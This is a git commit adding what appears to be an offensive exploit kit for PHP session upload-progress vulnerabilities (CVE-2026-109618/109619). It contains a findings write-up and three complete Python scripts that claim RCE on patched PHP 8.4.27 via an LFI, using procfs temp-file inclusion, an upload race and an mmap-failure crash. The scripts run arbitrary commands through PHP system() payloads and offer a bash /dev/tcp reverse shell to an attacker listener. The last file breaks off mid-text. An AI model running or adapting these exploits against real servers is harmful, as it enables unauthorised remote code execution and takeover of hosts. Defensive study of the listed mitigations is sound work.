PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)

Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
neko
2026-10-21 11:29:40 -05:00
commit e58bb493af
16 changed files with 3113 additions and 0 deletions
+101
View File
@@ -0,0 +1,101 @@
# PHP 8.4.27 Patch Bypass Findings
## Summary
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
achieve Remote Code Execution on fully patched systems.
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
two of the three bypasses but is itself defeated by the third.
## Bypass #1: Race Condition (TOCTOU)
**File:** `race_bypass_patched.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** PHP 8.4.27 OOM fix
**Mitigations bypassed:** session.upload_progress.cleanup=1
The session upload progress feature writes attacker-controlled data to the session
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
A concurrent LFI request can race to include the session file while the upload is
still in progress.
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
design — the data must exist on disk for the feature to work, creating a window
that cannot be eliminated without removing the feature.
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #2: RLIMIT_AS / mmap() Failure
**File:** `rlimit_bypass_patched.py`
**Confirmed RCE:** Yes
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
**Mitigations bypassed:** Standard memory_limit-based OOM handling
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
(or cgroup memory.max), `mmap()` fails through a **different code path** that
the patch does not cover.
- Worker exits with code **1** (not the patched exit code **70**)
- Session file **persists** on disk with attacker-controlled PHP code
- New worker spawns → LFI includes poisoned session → RCE
Relevant in production:
- Docker/k8s containers with cgroup memory limits
- Shared hosting with per-tenant RLIMIT_AS
- Admins using `memory_limit=-1` trusting OS-level limits
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #3: /proc/PID/fd Temp File Inclusion
**File:** `procfd_bypass_hardened.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** ALL patches
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
During a multipart file upload, PHP creates a temporary file with attacker-
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
process that can read procfs. A concurrent LFI request from a different FPM
worker can include this file directly.
This attack does NOT use session poisoning at all — it bypasses every
session-related mitigation.
**Blocked by:**
- Fixing the LFI vulnerability
- `hidepid=2` on /proc mount (hides other processes' FDs)
- `open_basedir` restricting /proc access
- Disabling file uploads entirely (impractical)
## Mitigation Effectiveness Matrix
| Mitigation | Race | RLIMIT | /proc/fd |
|-------------------------------|------|--------|----------|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
| + upload_progress=0 | OK | OK | FAIL |
| + hidepid=2 on /proc | FAIL | FAIL | OK |
| + upload_progress=0 + hidepid | OK | OK | OK |
| Fix the LFI | OK | OK | OK |
## Tested Vectors That Did NOT Bypass the Patch
- **Multipart part header flood:** OOM triggered but the patch handles it
correctly (exit code 70, session file cleaned up)
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
`session.upload_progress` only fires on POST requests
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
as multipart/form-data
- **Access log poisoning:** Works conceptually but fragile (previous log
entries may cause PHP parse errors)
## Recommendations
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
+363
View File
@@ -0,0 +1,363 @@
#!/usr/bin/env python3
"""
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
including the security patch AND session.upload_progress.enabled=0.
It does NOT use session poisoning at all. Instead, it exploits the fact that
during a multipart file upload, PHP creates a temporary file whose contents
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
process that can read procfs (i.e., any PHP process on the same host).
Attack flow:
1. Send a multipart POST with a file upload containing PHP code
2. While the upload is in progress (slow drip), the temp file exists as an
open file descriptor on the receiving FPM worker
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
or brute-forced from a narrow PID range)
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
5. PHP interprets the temp file contents → RCE
Why this bypasses everything:
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
- Standard multipart upload → WAF rules need to block ALL file uploads
Limitations:
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
- Requires knowing or brute-forcing the target worker's PID
- Requires multiple FPM workers (upload worker != LFI worker)
- FD number is typically 4-7 but may vary
Real-world PID discovery:
- phpinfo() page (common on staging/dev servers)
- Application leaking PID in response (getmypid())
- PHP error messages may include PID
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
- Container PID namespaces have small PID ranges (often 1-100)
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
Usage:
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def discover_pids(host, port, tls, path, count=20):
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
pids = set()
for _ in range(count):
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=3)
sock.close()
body = body_of(resp)
m = re.search(rb"pid=(\d+)", body)
if m:
pids.add(int(m.group(1)))
except Exception:
continue
return sorted(pids)
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
"""Send slow multipart upload to keep temp file FD open."""
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ php_code + b"\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
try:
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
if started:
started.set()
sent = 0
t0 = time.time()
while sent < file_size and (time.time() - t0) < duration:
if done and done.is_set():
break
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except Exception:
pass
try:
recv_all(sock, timeout=2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
"""Send LFI request targeting a /proc path."""
lfi_url = f"{path}?{lfi_param}={proc_path}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return body_of(resp)
except Exception:
return b""
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
print(" Bypasses patch + upload_progress=0 + session cleanup")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Discover worker PIDs
if args.pid:
pids = [args.pid]
print(f"[*] Using specified PID: {args.pid}")
else:
print("[*] Discovering FPM worker PIDs...")
pids = discover_pids(host, port, tls, path, count=30)
if not pids:
print("[!] Could not discover PIDs (target may not echo pid)")
print(" Try --pid <pid> or --pid-range <start>-<end>")
if args.pid_range:
start, end = map(int, args.pid_range.split("-"))
pids = list(range(start, end + 1))
print(f" Using PID range: {start}-{end}")
else:
sys.exit(1)
else:
print(f" Found PIDs: {pids}")
print()
fd_range = range(args.fd_start, args.fd_end + 1)
for attempt in range(args.attempts):
print(f"[*] Attempt {attempt+1}/{args.attempts}")
started = threading.Event()
done = threading.Event()
# Launch slow uploads on multiple threads to occupy workers
threads = []
for i in range(args.upload_threads):
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, php_code, 15.0,
started if i == 0 else None, done),
daemon=True,
)
t.start()
threads.append(t)
started.wait(timeout=5)
time.sleep(0.5)
print(f" {args.upload_threads} slow uploads in progress")
hit = False
for probe_round in range(args.probes):
if hit:
break
for pid in pids:
if hit:
break
for fd in fd_range:
proc_path = f"/proc/{pid}/fd/{fd}"
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
if b"CVE2026:" in rbody:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Via: {proc_path}")
print("[+] RCE achieved WITHOUT session poisoning!")
print("[+] Bypasses: security patch, upload_progress=0,")
print("[+] session cleanup, WAF session rules")
print("[+] Only mitigation: disable file uploads entirely,")
print("[+] mount /proc with hidepid=2, or fix the LFI")
hit = True
break
if not hit and probe_round < args.probes - 1:
time.sleep(0.01)
done.set()
for t in threads:
t.join(timeout=3)
if hit:
return
print(f" No hit — upload may have finished or wrong PID/FD range")
print()
print("[!] All attempts failed.")
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
print(" Or: --upload-threads 3 --probes 200")
def main():
ap = argparse.ArgumentParser(
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit does NOT use session poisoning. It includes the PHP temp file
created during a multipart upload via /proc/<pid>/fd/<N>.
It bypasses ALL recommended mitigations:
- PHP 8.4.27 security patch
- session.upload_progress.enabled=0
- session.upload_progress.cleanup=1
- WAF rules blocking session-related headers
The only defenses are:
- Fix the LFI vulnerability
- Mount /proc with hidepid=2 (hides other processes' FDs)
- Disable file uploads entirely (not practical for most apps)
- Use open_basedir to restrict /proc access
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--pid", type=int,
help="Known target worker PID")
ap.add_argument("--pid-range",
help="PID range to brute-force, e.g. 1-100")
ap.add_argument("--fd-start", type=int, default=3,
help="First FD to probe (default: 3)")
ap.add_argument("--fd-end", type=int, default=10,
help="Last FD to probe (default: 10)")
ap.add_argument("--upload-threads", type=int, default=2,
help="Concurrent slow uploads (default: 2)")
ap.add_argument("--probes", type=int, default=100,
help="LFI probe rounds per attempt (default: 100)")
ap.add_argument("--attempts", type=int, default=5,
help="Number of attempts (default: 5)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
+265
View File
@@ -0,0 +1,265 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
with a soft/hard OOM that ensures proper cleanup.
However, the session upload progress race condition is NOT fixed by the patch.
This is because the race window is inherent to the feature's design:
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
3. The data persists on disk for the duration of the file upload
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
5. A concurrent request can include the session file via LFI during this window
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
close this inherent TOCTOU race. The advisory acknowledges this by recommending
session.upload_progress.enabled=0 even after patching.
Requirements:
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
- Multiple FPM workers (pm.max_children > 1)
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
Usage:
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
"""Send slow multipart upload to keep session file populated on disk."""
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
sent = 0
t0 = time.time()
try:
while sent < file_size and (time.time() - t0) < duration:
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except:
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def lfi_probe(host, port, tls, lfi_path, sid):
"""Send LFI request and return response body."""
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return resp
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, sid, php_code, 10.0),
daemon=True,
)
t.start()
time.sleep(0.3)
hit = False
for i in range(400):
if not t.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
try:
resp = lfi_probe(host, port, tls, lfi_path, sid)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
rbody.decode(errors="replace"))
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END",
rbody.decode(errors="replace"), re.DOTALL)
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print("[+] RCE achieved against PATCHED PHP!")
print("[+] The 2026-10-21 security patch does NOT fix this.")
print("[+] Mitigation: session.upload_progress.enabled=0")
hit = True
break
except:
pass
if hit:
break
time.sleep(0.005)
t.join(timeout=2)
if hit:
return
print(f" Race lost")
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit demonstrates that the PHP security patch (2026-10-21)
does NOT fix the session upload progress race condition.
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--attempts", type=int, default=10,
help="Race attempts (default: 10)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
+312
View File
@@ -0,0 +1,312 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
- Soft OOM: deferred to VM safe point (graceful shutdown)
- Hard OOM: immediate _exit(70) when allocation fails during parsing
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
multipart field allocation. This failure goes through a DIFFERENT code path
that the patch does NOT cover:
1. PHP has memory_limit=-1 → no PHP-level OOM possible
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
3. During multipart parsing, mmap() fails when address space is exhausted
4. The failure triggers the OLD vulnerable code path (not the patched one)
5. Worker exits with code 1 (not the patched exit code 70)
6. Session file persists on disk with attacker-controlled PHP code
7. New worker spawns → LFI includes the poisoned session file → RCE
This is relevant in production because:
- Container environments (Docker, k8s) often set memory limits via cgroups
- Shared hosting uses RLIMIT_AS to isolate tenants
- Admins may set memory_limit=-1 trusting OS-level limits instead
- The advisory does NOT mention this bypass path
Requirements:
- PHP-FPM with memory_limit=-1 (or very high)
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
- session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
Usage:
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=120):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
"""Build multipart body designed to exhaust address space via mmap()."""
body = b""
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
body += b"\r\n" + php_code + b"\r\n"
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += b"\x00" * 4096 + b"\r\n"
for i in range(field_count):
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
body += b"\r\n" + b"X" * field_size + b"\r\n"
body += b"--" + bnd + b"--\r\n"
return body
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
bnd = b"----RLIMITRCE"
body = build_oom_body(bnd, php_code, field_count, field_size)
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError):
pass
resp = b""
sock.settimeout(30)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except (socket.timeout, ConnectionResetError):
pass
sock.close()
status = 0
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
return status
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
for sp in session_paths:
sess_file = f"{sp}/sess_{sid}"
lfi_url = f"{path}?{lfi_param}={sess_file}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
rbody = body_of(resp)
if b"CVE2026:" in rbody:
return rbody, sp
except Exception:
continue
return None, None
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} x {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
status = phase1_crash(host, port, tls, path, sid, php_code,
args.fields, args.field_size)
print(f" HTTP {status} — worker crashed (mmap failure)")
print(f" Waiting {args.respawn_wait}s for worker respawn...")
time.sleep(args.respawn_wait)
print(f" Phase 2: LFI include of poisoned session file...")
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
sid, spaths)
if rbody is not None:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Session path: {found_path}")
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
print("[+] Affects: containers with cgroup limits, shared hosting with")
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
print("[+] Mitigation: session.upload_progress.enabled=0")
return
print(f" Session file not found or already cleaned")
print()
print("[!] All attempts failed.")
print(" Possible causes:")
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
print(" - Session save path not in search list → use --session-path")
print(" - Worker respawn too slow → increase --respawn-wait")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
